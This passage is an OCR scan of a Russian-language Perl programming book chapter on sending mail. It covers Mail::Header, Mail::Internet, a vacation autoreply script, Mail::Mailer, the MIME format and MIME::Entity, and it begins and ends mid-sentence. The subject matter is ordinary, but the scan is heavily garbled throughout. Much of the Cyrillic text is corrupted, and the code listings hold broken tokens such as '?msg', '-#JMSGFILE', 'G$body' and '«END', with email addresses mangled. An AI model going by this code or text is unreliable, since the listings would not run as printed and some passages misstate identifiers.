эать строки заголовке для обеспечения их полно*совместимости с RFC 622.
среп HEЫ:p^^.S,-./пLall.mз^;,,;
Shcftd - Mail::Header (\»HE^lE«S, Miiify->1>;
После создания объекта Mail: : Header появляется возможность манипулировать
его содержимым несколькими способами.
$head->r&ad (ЕХЪЕЯЛЮЛ)
Еще один cruc-jC заполнения объекта заголовка состоит в том. что создается пустой объект
путем вызова метода new о без парамст>эв, а затем заголовки считывакггея из дескриптора файла
с использованием метода г« V i ().
$head->addj($naraa,(value[,$index])
$headr>replace($name,$value[,$index])
$headr>dulete(8name[,$index))
Глава 7. Протокол отправки почты SMTP
187
у- ., Методы add (), replace ft и delete ()позволяют изменять содержимое объекта Mail: :Header.Ka-
! ждый из этих методов принимает имя поля, с которым должна быть выполнена операция, и значение поля;
} а в качестве дополнительного параметра принимает индекс элемента многозначногололя. т<
Метод add () позволяет добавить поле к.заголовку. Если предусмотрен параметр $index,, зтот
метод вставляет поле в указанную позицию; в ином случае он присоединяет поле к концу списка. |
•:- Метод replace () заменяет значение поля, указанного по имени, заданным значением. Если по-
1 ле является многозначным, то для выбора заменяемого значения применяется параметр $ index;
i в ином случае заменяется первое поле. " $
f Мето delete (Т удаляет указанное поле. _ ^ . ь . ^ _ ~|J
Все эти три метода принимают параметры в сокращенной форме, которая
позволяет задавать имя и значение поля в одной строке. Эта сокращенная форма позволяет
заменить строку Subject примерно так:
$head->replace('Subject: returned to sender')
а не так:
$head->replace(Subject => 'returned to sender')
Для выборки информации об объекте заголовка применяется метод get (),
который позволяет получить значение одного поля, или методы tags() и commit (),
с помощью которых можно получить информацию обо всех имеющихся полях.
гтя
$lxne = $head->get($name[ ,$mdpx] )
| 61ines;M;j5head->get{$name)} I
; Метод get () выбирает значение поля, указанного по имени. В скалярном контексте он возвра-'
] щает значение первого указанного поля в форме текста; в контексте списка он возвращает все такие
t поля. Чтобы выбрать один элемент многозначного поля, можно указать индекс. • |
Недостатком метода детД) является то, что возвращенные;им значения полей содержат символы
, обозначения конца crpt «и Эти сим ;лы приходится удалять вручну» с помсщыо функции chomp ().
{ вfields = $head->taya
1 Возвращает список имен полей (которые в документации Mail:: Header называются "тегами*).
, $count = $head->count($tag)
i _ Возвращает число nxi . ений указанного тегэ в элголсеге.
И наконец, для экспорта заголовка в различных формах могут применяться
следующие три метода.
• $string « $head~>a9_etring
Вгззращэет весь заголопгк в сиди строки-в той форме, вкакой.снлояпился в сообщении
Shashruf - $head->haader_haahr«f{{\%he«d£rB])
Метод heade.^h-'.shref.n возвращает заголовок как ссылку на хеш Кчждый ключ представляет
собой уникальное имя поля, ажаждс-оэначенио—«ссылку н^-массив, содержащий значение пгпям-
гслос'кэ Эта.форма параметра*применим1) для передачи меТрАу Ма^1::Ма^д.чиг->ореп(>, хак
Описано далее в этой главе.
Эт(.т митсд м>~жегта*же примениться для устгнтежи ээголоькз путем передачи ему ссылки нг
хеш. педготолленныи пользо-ателем По ср-о^му составу хещ на который укаэыаэеТ параметр
' \%neadors, должен,Сыть аналогичным хешу, возвращаемому функцией header_h^shreгfr> но
I значении хеша могут представлять собой простые скаляры, если они tie являются многозначными.
t$h*ad->print ЦГХДОНДНЕВД] )
Выводит зэголое' « б указанные дескриптор файла или. если он не указан, на стандартное
устройство ьы^ода STDOC'T. Экгивалентен следующей конструкции.
Print FlLEiiMlDLE $hea<b>es_?tnng
188
Часть П. Разработка клиентов для основных служб
Mail::lnternet
Класс Mail: : Internet — это интерфейс высокого уровня к электронной почте.
Он позволяет создавать сообщения, манипулировать ими различными способами
и отправлять их. Он предназначен для упрощения разработки автоответчиков
и других утилит обработки почты.
Как обычно, новый объект создается с использованием метода new () модуля
Mail::Internet:
J Small = Mail::Internet->new([$arg] [,8options]) j
i Метод new() строит новый объект Mail::internet, При вызове без параметров он-создает5!
| пустой объект, который обычно мало полезен. Ё ином случае он инициализируется с использовани- |
I ем переданных ему параметров во многом аналогично модулю Mail::Header. Первый параметр, j
|если он задан, дэлжен представлять! собой дескриптор файла или ссылку на массив. В первом слу- I
J чае модуль ^Ц \л Internet предпринимает попытку прочитать заголовок и тело сообщения из.де-
, скриптора файла. Если первый параметр представляет собой ссылку на массив, то новый объект
^инициализируется из строк текста, содержащихся в массиве. ^
\ Параметр ^'options представляет собой список пар ключевых параметров. Распознается
несколько параметров. Параметр Header обозначает объект Mail::Header, который должен' приме-'"*
j мяться с сообщением электронной почты. Если задан этот параметр, то используется указанный за- \
! головок и вся информация заголовка, содержащаяся в параметре $arq, игнорируется. Аналогичным ,
.образом параметр Body определяет ссылку намассив, содержащий строки тела сообщения* элек-^
1 тронной почты^Любой текст тела сообщения, содержащийсяГр .параметре^агд^мгнорируется. "_ $
После создания объекта для исследования и изменения его содержимого может
применяться несколько методов.
% Saxrayref = $mail->body
: Метод body о «возвращает тело сообщения электронной почты как ссылку на массив строк тек-
| ста. Можно манипулировать этими строками для изменения тела сообщения. j
j $haader = $mail->head jl
j *: "ч -..-,- . ,-',., .. '■'
j Метод head {). возвращает объект Mail:.: Header сообщения; При модификации этого объекта
изменяется заголовок сообщения. ,-.. *
1 $string = $mail->as£string
$ string e $mail->as_mbox_string
j i И метод as^strixig(), и,метод-аБ^геЬох^8кг1пд{)возвращают сообщение (заголовок и тело)
в виде одной строки. Метод as_rribox_string О возвращает сообщение в формате, пригодном для
его добавления к файлам почтового ящика в формате mbox ON(X i j
\ $mail->print(tFILEHMJDLE])
$mail->print header([FILEHANDLE]) \
Smail->printjbody<[FIbEHANDLE]) I
| Эти три метода выводят все сообщение или его часть в указанный дескриптор файла или, если t
I оннеуказан,.наустройство,.8троот. &
Следующие несколько вспомогательных методов выполняют обычные
преобразования содержимого сообщения.
I
$mail->add_signature<[$£ile])
$mail->remove_sig ([ $iilines] \ 3
Эти два метода позволяют, манипулировать подписями, которые часто добавляются к сообщени-,
1 ям электронной/почты. Метод add_signaturel) добавляет подпись, содержащуюся в параметре
Глава 7. Протокол отправки почты SMTP
189
$file, к концу сообщения электрснной пгчты Если параметр $ file не указан, этот метод ищет
файл $EKV{H0Mfc>7- si jne tutu. £4.
Метод remove sigt) просматривает последние $nlines строк тиЛа сообщения м ищет строку,
состоящук: из сим' jnoot"—". кятг'рая часто отделяет тело сообщения от гку;пис*еЭта строкам все.
что находится под ней. удаляется. Цели параметр $nlines по указан, его Значение устанавливается
ло,у молчание равным 10.
Sreply « $3iaj.l->reply
Мвтгд ref'lyj) создаёт нэеый объект M«.il,: rintimot. в котрр<бм заголовок инициализирован
для ответа на первоначальное сообщение, а текст тела сообщение обозначен сгступэм. Этот метод
j может примениться для приложений автоответчиков _ __^
И наконец, метод send () отправляет сообщение через систему электронной почты.
$reeult - $ma±l->eend([Smethod] [,eargp])
MJiiLA senri () прёо^азуеТ' сообщение e строку ■«• отлразляет em .с помойте -, «одулл
Mail: :Mailer. Параметры Snethod и @args позволяют выбрать и настроить метод отправки по поч-
те. Б следующем разделе описаны доступные способы; mail, sen fanail, smtj и test. Если способ не
указан, тсчиетод sen''. () выбирает по умелчаник- способ, применимый ■. конкретней системы.
Программа почтового автоответчика
Модуль Mail: : Internet позволяет легко написать простую программу для
автоматической отправки ответов на полученную электронную почту (листинг 7.4).
Сценарий autoreply.pl аналогичен программе vacation системы UNIX. При
получении почты он проверяет наличие в домашнем каталоге файла . vacation. Если этот
файл существует, сценарий подготавливает ответ отправителю с использованием
содержимого этого файла. В ином случае программа не выполняет никаких действий.
В сценарии автоответчика используется одно из средств почтовой системы UNIX,
которое позволяет направлять входящее сообщение электронной почты по каналу
программы. При условии, что пользователь применяет такую систему, он может
активизировать сценарий, создав в своем домашнем каталоге файл . forward, который
содержит, например, следующие строки:
lstein
I /usr/local/bin/autoreply.pl
Укажите в первой строке свое регистрационное имя, а во второй — путь к
сценарию автоответчика. Этот файл сообщает почтовой подсистеме, чтобы она одну
копию входящего почтового сообщения поместила в собственный ящик пользователя
для входящей почты, а другую отправила на стандартное устройство ввода сценария
autoreply.pl.
Ниже подробно описан сценарий autoreply.pl.
Листинг 7.4. П oi амма автоответчика
0: #!/usr/local/bin/perl -w
1: # Файл: autoreply.pl
2: use strict;
3: use Mail::Internet;
4: use constant HOME => (getpwuid($<))[7];
190
Часть П. Разработка клиентов для основных служб
5: use constant USER => (getpwuid($<))[0];
6: use constant MSGFILE => HOME . "/.vacation";
7: use constant SIGFILE => HOME . "/.signature";
8: exit 0 unless -#JMSGFILE;
9: exit 0 unless my ?msg = Mail::Internet->new(\*STDIN);
10: my $header = $msg->head;
11: # He отвечать, если сообщение не направлено пользователю
12: my $myname = USER;
13: exit 0 unless $header->get('To') =~ /$myname/;
14: # He отвечать, если сообщение отмечено как "Bulk"
15: exit 0 if $header->get('Precedence') =~ /bulk/i;
16: # He отвечать, если строка From содержит слова Daemon,
# Postmaster, Root или адрес самого пользователя
17: exit 0 if $header->get('From')
=~ /subsystem|daemon I postmaster|root|$myname/i;
18: # He отвечать, если строка Subject содержит слова
# "returned mail"
19: exit 0 if $header->get('Subject■)
=~ /(returned|bounced) mail/i;
20: # Все хорошо; теперь можно подготовить ответ
21: my $reply = $msg->reply;
22: # Открыть файл сообщения для составления ответа
23: open (V,MSGFILE) or die "Can't open message file: $!";
24: # Добавить строки ответного сообщения
25: my $body = $reply->body;
26: unshift (G$body,<V>,"\n");
27: # Присоединить подпись
28: $reply->add_signature(SIGFILE);
29: # Отправить почту
30: $reply->send or die;
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка типов и загружен модуль
Mail:: Internet.
• Строки 4-7. Определение констант. Одна из проблем при работе с программами,
запускаемыми демоном обработчика почты, состоит в том, что в них стандартные переменные среды
не всегда установлены. Это значит, что переменной $env{home} и других стандвртных
переменных среды может не существоввть. Поэтому первое действие заключается в поиске
начального каталога и регистрационного имени пользователя и сохранении их в
соответствующих константах. В строках 4 и 5 для выборки этой информации применяется функция
getpwuidO. Затем для определения местонахождения файлов .vacation и .signature
используется константа номе.
• Строки 8,9. Создание объекта Mail:: internet Проверяется наличие файла . vacation, и, если
он отсутствует, выполняется выход. В ином случае создается новый объект Mail:: internet,
инициализированный из сообщения, направленного в устройство stdin сценария.
• Строки 10-19. Проверка того, должен ли быть отправлен ответ на сообщение. На
некоторые сообщения, например отправленные получателю с указанием его в строке Сс: или рас-
Глава 7. Протокол отправки почты SMTP
191
сылаемые через список рассылки, автоматически отвечать не следует. Еще одним типом
сообщения, на которое ни в коем случае нельзя отвечать, являются возвращенные сообщения;
ответ на такое сообщение может привести к неприятному бесконечному циклу. В следующем
разделе кода предпринимается попытка диагностировать все эти ситуации.
Выполняется выборка заголовка путем вызова метода head () объекта Mail:: Internet
и производится ряд сопоставлений его полей с образцом. Вначале проверяется, было ли имя
рассматриваемого пользователя упомянуто в строке то:. Если его там нет, то это сообщение
могло быть получено на имя пользователя, указанного в строке Сс:, или имя получателя
сообщений списка рассылки. Затем проверяется поле Precedence:. Если оно содержит слово
"bulk", то это сообщение могло быть отправлено в составе акции массовой почтовой
рассылки. Если в поле Subject: содержатся строки "returned mail" или "bounced mail" или
отправителем является сама почтовая система (что может быть обозначено по-разному, как
"mailer daemon", "mail subsystem" или "postmaster"), то, скорее всего, мы имеем дело
с возвращенной почтой и не должны на нее отвечать, поскольку это может привести к
возникновению цикла. В любом из этих случаев просто происходит обычный выход из сценария.
• Строки 20,21. Формирование ответа. Для создания нового сообщения, инициализированного
как ответ на первоначальное, вызывается метод reply () объекта почтового сообщения.
• Строки 22-26. Добавление к тексту сообщения из файла .vacation. Метод reply ()
создает текст тела сообщения, состоящий из первоначального сообщения, обозначенного как
цитата и отмеченного отступом. Перед этим текстом записывается содержимое файла
.vacation. Открывается файл .vacation, вызывается метод body О почтового сообщения
для получения ссылки на массив строк тела сообщения, а затем используется метод
unshifto для вставки содержимого файла .vacation перед телом сообщения. При
желании можно заменить все тело сообщения.
• Строки 27,28. Добавление подписи. Вызывается метод add_signature () объекта
ответного почтового сообщения add_signature() для добавления содержимого файла подписи
пользователя к концу тела сообщения, если этот файл имеется.
• Строки 29,30. Отправка сообщения. Вызывается метод send О ответного сообщения для
отправки с помощью наиболее подходящих средств.
Ниже приведен пример сообщения, автоматически сформированного сценарием
autoreply.pl в ответ на сообщение, которое было составлено с помощью модуля
Net: : SMTP в предыдущем разделе. Текст в его верхней части был взят из файла
~/. vacation, а подпись в нижней части — из файла ~/. signature. Остальная часть
файла представляет собой первоначальное сообщение, оформленное в виде цитаты.
То: John Doe <doeGacme.org>
From: L Stein <lsteinGlsjs.org>
Subject: Re: hello there
Date: Fri, 7 Jul 2000 08:12:17 -0400
Message-Id: <200007071212.IAA12128Gpesto>
Hello,
I am on vacation from July 6-July 12, and will not be reading
my e-mail. I will respond to this message when I return.
Lincoln
John Doe <doeGacme.org> writes:
> This is just a simple e-mail message.
> Nothing to get excited about.
> Regards, JD
Lincoln D. Stein Cold Spring Harbor Laboratory
192 Часть П. Разработка клиентов для основных служб
Если вы хотите приспособить эту программу автоответчика к своим
потребностям, то вам нужно дополнительно предусмотреть проверку размера цитируемого
тела сообщения, и если оно слишком велико, его нужно удалять. В ином случае вы
можете по неосторожности отправить назад большое двоичное файловое дополнение.
При работе со сложными приложениями обработки электронной почты вам
необходимо обязательно ознакомиться с программой procmail, в которой применяется
язык программирования специального назначения для интерпретации электронной
почты и манипуляции ею. На основе программы procmail было разработано много
развитых приложений, в том числе автоответчики, генераторы списков рассылки
и фильтры для почтового спама.
Mail::Mailer
Последним рассматриваемым здесь компонентом модуля MailTools является
модуль Mail: :Mailer, который используется с самим модулем Mail: : Internet для
доставки почты. Модуль Mail: :Mailer предоставляет еще один интерфейс для
отправки почты Internet. Хотя он не содержит таких же средств обработки заголовка и
тела сообщения, как модуль Mail: : Internet, автор находит, что он проще и может
применяться намного элегантнее в большинстве обстоятельств.
В отличие от модулей Net: : SMTP и Mail: : Internet, в которых для составления
и отправки почты используются методы объекта, объекты модуля Mail: :Mailer
действуют аналогично дескрипторам файлов. Общая схема его применения показана
в следующем небольшом фрагменте кода.
use Mail::Mailer,-
my $mailer = Mail::Mailer->new;
$mailer->open( {To => 'lstein@lsjs.org',
From => 'joeGacme.org',
Cc => ['jacGacme.org', 'vvdGacme.org'],
Subject => 'hello there'});
print $mailer "This is just a simple e-mail message.\n";
print $mailer "Nothing to get excited about.\n\n";
print $mailer "Regards, JD\n";
$mailer->close;
После создания объекта с помощью метода new () выполняется его
инициализация путем вызова метода open () со ссылкой на хеш, включающий содержимое
заголовка обработчика электронной почты. Затем этот объект обработчика почты
используется как дескриптор файла для вывода нескольких строк текста тела
сообщения. После этого вызывается метод close () объекта для завершения обработки
сообщения и его отправки.
Полный список методов Mail: : Mailer относительно невелик.
Smaller = Mail: :Mailer->new([$method] I,@argsJ) i? i
Метод newt),создает новый объект Mail: :Maiier. Необязательный параметр $method
указывает, как должна быть отправлена почта, а необязательный параметр @args передает
дополнительные параметры обработчику почты. В табл. 7>3 показаны эдетоды обработки почты,
распознаваемые в настоящее время.,.
Содержимое параметра Gargs зависит от метода. При использовании методов
"mail" и "sendmail" все, что содержится в параметре @args, добавляется к
командной строке, применяемой для вызова программ mail и sendmail. При использова-
Глава 7. Протокол отправки почты SMTP
193
нии метода "smtp" можно передать ключевой параметр Server для указания
применяемого сервера SMTP.
$mailer = Mail::Mailer->new('smtp', Server => 'mail.lsjs.org')
В процессе работы модуль Mail:: Mailer открывает канал в указанную программу
обработчика почты, если не указан метод "smtp"; в последнем случае для отправки
сообщения используется модуль Net: : SMTP.
Таблица 7.3. Методы отправки почты с помощью модуля Mail:: Mailer
Метод Описание
mai 1 Использовать программу mai 1 или mai lx UNIX
Sendmail Использовать программу sendmail UNIX
Smtp Использовать для отправки почты модуль Net: : SMTP
test Режим отладки, который предусматривает вывод содержимого сообщения,
а не отправку его по почте
Если метод явно не указан, модуль Mail: : Mailer ищет в пути доступа, указанном
в переменной среды PATH, соответствующие выполняемые программы и выбирает
первую найденную программу, которая может применяться для реализации этих
методов, начиная с "mail". В документации Mail: :Mailer описано, как изменить
порядок поиска, установив переменную среды PERL_MAILERS. Объект Mail::Mailer
после создания инициализируется с помощью набора полей заголовка.
j $fh = $mailer->open(\%headers)
Метод open () открывает новое почтовое сообщение с указанными заг-дпсвкамй. Дли таких
гарантов отправки по почте, как "mail", "sendmail" и "test", он может выполнить ветвление посредством
функции fork() и вызвать на выполнение программу обработчика почты с помощью,функции ехесО,
, а затем вернуть канал, открытый в обработчик почты! При использований варианта "smtp" метод
; /open () возвращает связанный дескриптор файла, кгггсрый перехватывает вызогы функции print (),
а затем передает их метеку i-.tasendo медуля Nft: :SMTi. Возвращенный дескриптор файла янало-
, гичен первоначальному объекту Mai 1:: Mailer; поэтому его можно вполне *юпапьзсвать в качестве
логического значения, которое укаэи&зет на успешный или неудачный дыэдо метода ■ .р^п ().
Параметром метода open () является ссылка на хеш, ключами которого служат поля
почтового заголовка, а значениями — скаляры, содержащие текст соответствующих полей,
или ссылки на массивы, которые входят в значения таких многозначных полей, как Сс:
или То:. Этот формат совместим с методом header_hashref () класса Mai 1: : Header.
$mailer->open({То => ['jdoe@acme.org', 'coyote@acme.org'],
From => 'lstein@cshl.org•})
or die "can't open: $!";
После инициализации объекта в него можно вывести тело сообщения с
использованием самого объекта в качестве дескриптора файла.
print $mailer "This is the first line of the mail message.\n";
После вывода тела сообщения необходимо вызвать метод close () объекта.
$mailer->close
Метод close () выполняет заключительные действия и отправляет сообщение.
В данном случае нельзя использовать встроенную функцию close () языка Perl,
поскольку некоторые методы модуля Mail: : Mailer требуют выполнения последующей
обработки сообщения перед его отправкой.
194
Часть П. Разработка клиентов для основных служб
MIME::Tools
Модули Net: : SMTP и MailTools предоставляют основные функциональные
средства для отправки простых чисто текстовых сообщений электронной почты. Пакет
MIME: :Tools превосходит эти модули по своим возможностям, поскольку позволяет
составлять многокомпонентные сообщения, которые содержат текстовые и
нетекстовые файловые дополнения. Он также позволяет интерпретировать сообщения,
закодированные в формате MIME, извлекать файловые дополнения, добавлять или
удалять эти дополнения, а затем снова отправлять измененные сообщения.
Общие сведения о форматах MIME
Форматы MIME (Multipurpose Internet Mail Extensions — Многоцелевые
расширения электронной почты Internet) подробно описаны в документах RFC 1521, 2045,
2046 и 2049. По существу, стандарт MIME добавляет три главных расширения к
стандартной почте Internet.
1. Каждое тело сообщения имеет тип. В мире MIME тело каждого сообщения
имеет тип, который описывает его характер; тип должен быть указан в поле
заголовка Content-Type:. В формате MIME применяется система
обозначений тип/подтип, в которой тип указывает категорию документа, а подтип
задает его конкретный формат. В табл. 7.4 перечислены некоторые наиболее
распространенные типы и подтипы. Основными категориями,
обозначающими носитель информации, являются "audio", "video", "text" и "image".
Категория "message" обозначает вложения электронной почты, которые
применяются, например, при перенаправлении электронной почты другому
пользователю, а категория "application" объединяет все те понятия, для
которых не предусмотрена какая-то иная категория. Категория "multipart"
будет рассмотрена чуть позже.
2. Каждое тело сообщения имеет кодировку. Электронная почта Internet
первоначально была разработана для передачи сообщений, состоящих исключительно
из текста ASCII в 7-разрядной кодировке, разбитого на относительно короткие
строки; некоторые части системы электронной почты все еще
ограничиваются сообщениями такого типа. Однако по мере того, как сеть Internet
распространялась по планете, появилась необходимость поддерживать другие
наборы символов, кроме латинского, в которых применяется 8-разрядная или даже
16-разрядная кодировка символов. Еще одна проблема заключается в том, что
по почте должны передаваться двоичные файловые дополнения, такие как
файлы изображений, которые не предназначены для обработки в виде текста.
В целях охвата полного диапазона сообщений, необходимость в отправке
которых возникает у пользователей, без переопределения протокола SMTP
и модернизации всего вспомогательного программного обеспечения,
в формате MIME предусмотрено несколько стандартных алгоритмов
кодировки, позволяющих преобразовать двоичные данные в текстовую форму, с
которой могут справиться обычные обработчики почты. Каждый заголовок имеет
поле Content-Transfer-Encoding: с описанием кодировки тела
сообщения. В табл. 7.5 перечислено пять стандартных кодировок.
Глава 7. Протокол отправки почты SMTP
195
При работе с 8-разрядными данными только кодировки quoted-printable
и base64 гарантируют их прохождение через все шлюзы электронной почты.
3. Сообщение может состоять из нескольких частей (такое сообщение называется
многокомпонентным). Типы multipart/* формата MIME обозначают сообщения,
состоящие из нескольких частей. Каждая часть имеет собственный тип
информационного наполнения и заголовки MIME. Часть может даже иметь
собственные подчасти. Тип multipart/alternative формата MIME
применяется, если различные подчасти соответствуют одному и тому же документу,
повторяемому в различных форматах. Например, некоторые обработчики
почты, которые входят в состав броузера, отправляют сообщения и в чисто
текстовом виде, и в формате HTML. Тип multipart /mixed используется,
если части непосредственно не связаны друг с другом, как, например, сообщение
электронной почты и вложение в формате JPEG.
Таблица 7.4. Наиболее распространенные типы MIME
Тип Описание
audio/* Звук
audio/basic Звуковой формат "аи" компании Sun Microsystem
audi о /пред Файл МРЗ
audio Midi Файл MIDI
audio/x-aiff Звуковой формат AIFF
audio/x-wav Формат "wav" Microsoft
image / * Изображение
image/gif Формат GIF компании CompuServe
image/j peg Формат JPEG
image /prig Формат PNG (Portable Network Graphics — Переносимый
сетевой графический формат)
image/tiff Формат TIFF
message/* Сообщение электронной почты
message/news Формат сообщения новостей Usenet
message/rf c822 Формат сообщения электронной почты Internet
multipart/* Сообщение, содержащее несколько частей
multipart/alternative Одна и та же информация в разных формах
multipart/mixed Несвязанные части информации, объединенные в одном
сообщении
text/* Текст, предназначенный для восприятия человеком
text/html Язык описания гипертекстовых документов
text/plain Простой текст
text/richtext Текст, отформатированный согласно документу RFC 1523
text/tab-separated- Таблица
values
video/* Видеофильмы или анимация
196
Часть П. Разработка клиентов для основных служб
Окончание табл. 7.4
Тип
video/mpeg
video/quicktime
video/msvideo
application/*
application/msword
application/news-
message-id
application/octet-stream
application/postscript
application/rtf
application/wordperfec
t5.1
application/gzip
application/zip
Описание
Формат видеофайла MPEG
Формат видеофайла Quicktime
Формат видеофайла "avi" Microsoft
Ни одно из вышеупомянутого
Формат Microsoft Word
Формат отправки сетевых новостей
Неотформатированные двоичные потоковые данные
Формат PostScript
Текст в формате RTF Microsoft
Формат Word Perfect 5.1
Формат сжатия файлов gzip
Формат сжатия файлов PKZip
Таблица 7.5. Кодировки MIME
Кодировка
Описание
7bit
8bit
binary
Тело сообщения фактически не закодировано. Это значение просто
является утверждением, что текст представлен в 7-разрядном коде
ASCII, и что ни одна строка не имеет длину более 1000 символов
Тело сообщения фактически не закодировано. Это значение просто
является утверждением, что текст может содержать 8-разрядные
символы и ни одна строка не имеет длину более 1000 символов
Тело сообщения фактически не закодировано. Это значение просто
является утверждением, что текст может содержать 8-разрядные
символы и строки могут иметь длину более 1000 символов
Эта кодировка применяется для текстовых сообщений, которые могут
содержать 8-разрядные символы (например, сообщений в наборах
символов, отличных от латинского). Все 8-разрядные символы
преобразуются в 7-разрядные управляющие последовательности,
а длинные строки переносятся на 72-м символе
Эта кодировка используется для произвольных двоичных данных,
таких как звуки и изображения. Каждые 24 бита трех 8-разрядных
байтов разбиваются на четыре 6-разрядных значения, а затем эти
значения, которые могут находиться в пределах от 0 до 63,
преобразуются в символы в коде ASCII. Полученный текст разбивается
на строки длиной 72 символа
Любая часть многокомпонентного сообщения MIME может содержать заголовок
Content-Disposition: (способ обработки содержимого), который служит
программе чтения почты подсказкой, как обрабатывать эту часть. В качестве возможных
способов обработки может быть указан attachment (файловое дополнение),
который сообщает программе чтения, что тело этой части должно рассматриваться как
quoted-printable
base64
Глава 7. Протокол отправки почты SMTP
197
вложение, записываемое на диск, и inline (встроенные данные), который сообщает
программе чтения, что она должна предпринять попытку отобразить эту часть как
компонент документа. Например, программа чтения почты может обеспечивать
возможность отобразить встроенное изображение в том же окне, что и текстовую часть
сообщения. Поле Content-Disposition: может также указывать имя файла, под
которым должен быть записан на диск присоединенный файл. Еще одно поле,
Content-Description:, содержит необязательное описание части,
предназначенное для восприятия человеком.
Обратите внимание, что сообщение электронной почты с вложением JPEG— это,
по сути, многокомпонентное сообщение MIME, содержащее две части: в одной
находится текст сообщения, а в другой — изображение JPEG.
Не вдаваясь в подробности описания формата сообщения MIME, представим
в листинге 7.5 пример многокомпонентного сообщения, который позволит получить
представление о том, как оно устроено. Это сообщение состоит из четырех частей:
7-разрядного текстового сообщения, которое находится в начале данного сообщения,
звукового файла Microsoft WAV в кодировке base64, файла JPEG в кодировке base64
и заключительной 7-разрядной части, которая содержит некоторые
многосимвольные разделители и подпись электронной почты. (Двоичные вложения были
сокращены ради экономии места.)
Обратите внимание, что каждая часть сообщения имеет собственный заголовок
и тело, а отдельные части разделены короткой уникальной граничной строкой,
начинающейся с двух дефисов. Все сообщение в целом имеет собственный заголовок,
который представляет собой надмножество почтового заголовка Internet,
соответствующего RFC 822, и включает поле Content-Type: со значением multipart/mixed.
Это, в основном, все, что должен знать программист о формате MIME. Остальную
работу успешно выполнят модули MIME.
Листинг 7.5. Пример многокомпонентного сообщения MIME
MIME-version: 1.0
Content-Type: multipart/mixed; boundary="PD9eITqhkK"
Content-Transfer-Encoding: 7bit
Message-ID: <14696.36666.945695.848658@gargle.gargle.H0WL>
X-Mailer: VM 6.72 under 21.1 "20 Minutes to Nikko" XEmacs Lucid
(patch 2)
Reply-To: lstein@cshl.org
From: Lincoln Stein <lstein@cshl-org>
To: jdoe@acme.org
Subject: hi there
Date: Sun, 9 Jul 2000 10:42:02 -0400 (EOT)
—PD9eITqhkK
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit
Hello John,
Here are two binary attachments for you to look at.
—PD9eITqhkK
Content-Type: audio/x-wav
198
Часть П. Разработка клиентов для основных служб
Content-Disposition: attachment;
filename="locutus.wav"
Content-Transfer-Encoding: base64
UklGRi z+BgBXQVZFZmlOIBAAAAABAAEAI lYAACJWAAABAAgAZGFOYQj +BgCAglCA
glCAgICA
gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
glCAgICA
5s4PSPLWuLeQtbSufrcAqQxqXUGlRWJp91vgzUa/T8J448j/une6DUcQ4DzinBI
I/EZqy7J
-PD9eITqhkK
Content-Type: image/jpeg
Content-Disposition: inline;
filename="bj_aimi4067.jpg"
Content-Transfer-Encoding: base64
/9j/4AAQSkZJRgABAgEASWBLAAD/7RNIUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAA
ABAASWAA
AAEAAQBLAAAAAQAB0EJJTQPzAi^AAAA,MAAAA;AAAAJ4A4QklNBAo/ AA,VAEAADhC
SUOnEAAA
AAAACgABAAAAAAAAAAI4QklNA/UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2Zm
AAEAoZma
—PD9eITqhkK
Content-Type: text/plain; charset=us-ascii
Content-Description: message body and .signature
Content-Transfer-Encoding: 7bit
Best regards, L
Lincoln D. Stein Cold Spring Harbor Laboratory
—PD9eITqhkK—
Организация модулей MIME::*
Пакет MIME: : Tools состоит из четырех основных частей.
■ MIME::Entity. Объект MIME: :Entity— это сообщение MIME. Он включает
объекты MIME: : Head (заголовок сообщения) и MIME: : Body (тело сообщения).
В многокомпонентных сообщениях тело может содержать другие объекты
MIME: :Entity, любой из которых может содержать собственные объекты
MIME: : Entity, и так до бесконечности.
Кроме всего, объект MIME: :Entity имеет методы для преобразования
сообщения в текстовую строку и отправки его по почте.
■ MIME: :Head. Объект MIME: :Head— это часть сообщения MIME, относящаяся
к заголовку. Этот объект имеет методы для получения и установки значений
различных полей.
Глава 7. Протокол отправки почты SMTP
199
■ MIME: : Body. Объект MIME: : Body представляет собой часть тела сообщения.
Поскольку тело сообщения MIME может иметь весьма значительный размер
(например, если оно представляет собой звуковой файл), объект MIME: :Body
имеет методы для сохранения данных на диске, а также чтения их и записи по
принципу использования дескриптора файла.
■ MIME: : Parser. Объект MIME:: Parser рекурсивно интерпретирует
сообщение, представленное в формате MIME, принимая его из файла, дескриптора
файла или из данных в оперативной памяти, затем возвращает объект
MIME: :Entity. После этого пользователь получает возможность извлекать
части сообщения, модифицировать их и повторно отправлять по почте.
В листинге 7.6 приведен небольшой пример использования объекта
MIME: : Entity для построения простого сообщения, которое состоит из текста
приветствия и звукового вложения.
Листинг 7.6. Отправка дополнения в виде звукового файла с помощью
инструментальных средств MIME
0: #!/usr/local/bin/perl -w
1: # Файл: simple_miine.pl
2: use strict;
3: use MIME::Entity;
4
5
6
7
8
9
10
11
# Создать компонент верхнего уровня
my $msg = MIME::Entity->build(From => 'lsteinGlsjs.org',
To => 'jdoeGacme.org',
Subject => 'Greetings!',
Type => 'multipart/mixed');
# Присоединить сообщение
my $greeting = «END;
Hi John,
12: Here is a little something for you to listen to.
13
14
15
16
17
18
19
20
21
22
23
En] oy!
L
END
$msg->attach(Type => 'text/plain',
Encoding => '7bit',
Data => $greeting);
# Присоединить звуковой файл
$msg->attach(Type => 'audio/wav'.
Encoding => 'base64'.
Description => 'Picard saying "You will be assimilated"'.
Path => "$ENV{HOME}/News/sounds/assimilated.wav");
24: # Присоединить подпись
25: $msg->sign(File=>"$ENV{HOME}/.signature");
26: # Отправить сообщение с использованием метода "smtp"
27: $msg->send("smtp');
200
Часть П. Разработка клиентов для основных служб
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включен строгий контроль соответствия типов и загружен модуль
MIME:: Enti ty. Он вызывает другие необходимые модули, в том числе mime :: не ad и mime :: Body.
■ Строки 4-8. Создание объекта mime: :Entity верхнего уровня. С использованием метода
mime: :Entity->build() создается многокомпонентное сообщение MIME верхнего уровня,
которое содержит две подчасти. Параметры метода build О включают поля From: и то:,
строку Subject: и определяют тип MIME, Type, как multipart /mixed. Этот вызов
возвращает объект MIME: : Entity.
■ Строки 9-18. Присоединение текста сообщения. Создается текст сообщения и
записывается в скалярной переменной. Затем с использованием метода attach () объекта MIME
